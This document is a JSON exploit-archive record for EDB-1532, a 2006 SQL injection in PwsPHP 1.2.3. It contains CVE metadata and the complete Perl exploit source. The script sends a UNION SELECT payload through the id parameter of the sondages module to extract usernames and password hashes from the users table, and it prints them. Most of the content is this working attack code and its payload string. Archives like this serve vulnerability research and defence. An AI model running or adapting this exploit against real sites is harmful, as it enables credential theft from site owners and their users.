{"exploit":{"id":"EDB-1532","name":"PwsPHP 1.2.3 - 'index.php' SQL Injection (SQLi)","description":"PwsPHP 1.2.3 - 'index.php' SQL Injection (SQLi)","cves":["CVE-2006-0943","CVE-2006-0668"],"author":"papipsycho","published":"2006-02-25","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1532","path":"exploits/php/webapps/1532.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1532.pl","vulnerabilities":[{"id":"CVE-2006-0943","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in the sondages module in index.php in PwsPHP 1.2.3 allows remote attackers to execute arbitrary SQL commands via the id parameter to index.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-0943","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-0943"},"updatedAt":"2024-08-07T16:56:14.695Z","retrievedAt":"2026-11-27T18:08:25.111Z","stale":false,"error":null},{"id":"CVE-2006-0668","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in index.php in PwsPHP 1.2.3 allows remote attackers to execute arbitrary SQL commands via the id parameter, possibly in message.php in the espace_membre module. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-0668","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-0668"},"updatedAt":"2024-08-07T16:41:29.139Z","retrievedAt":"2026-11-27T18:08:18.611Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1532.png?v=2","url":"https://exploitbin.com/exploits/EDB-1532","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1532/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1532/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n# PwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit\n# http://example.com/index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*\n# Discovered by: papipsycho (papipsycho.com) (WOrlddefacers.de)\n# ported by str0ke (milw0rm.com)\n\nuse LWP::Simple;\n\n$serv     =  $ARGV[0];\n$path     =  $ARGV[1];\n\nsub usage\n {\n    print \"\\nPwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit\\n\";\n    print \"Discovered by: papipsycho (papipsycho.com)\\n\";\n    print \"Ported by str0ke (milw0rm.com)\\n\";\n    print \"Usage: $0 www.example.com /directory/\\n\";\n    print \"sever    -  URL\\n\";\n    print \"path     -  path to index.php\\n\";\n    exit ();\n}\n\nsub exploit\n {\n    print qq(\n    PwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit\n    Discovered by: papipsycho (papipsycho.com)\n    Ported by str0ke (milw0rm.com)\\n\\n);\n\n    $string= \"index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*\";\n    $url = sprintf(\"http://%s%s%s\",$serv,$path,$string);\n    $content = get \"$url\";\n    @contents = split(/\\n/, $content);\n    foreach $line (@contents) {\n    if ($line =~ /(\\<center\\>\\<b\\>)(.*?)(\\<\\/b\\>\\<\\/center\\>\\<br\\>\\<br\\>)/){&username;}\n    if ($line =~ /(\\<td\\>)(\\w{32})(\\<\\/td\\>)/){&password;}\n    }\n}\n\nsub username { print \"[*] Username: $2\\n\";}\nsub password { print \"[*] Hash: $2\\n\\n\";}\n\nif (@ARGV != 2){&usage;}else{&exploit;}\n\n# milw0rm.com [2006-02-25]","sha256":"a7534e5d92bced46d74b00624194d3966ea15b68eea02b6b3807fa29d9f3206d","bytes":1533,"fetchedAt":"2026-11-27T18:08:18.364Z","encoding":"utf-8 (display only; download retains original bytes)"}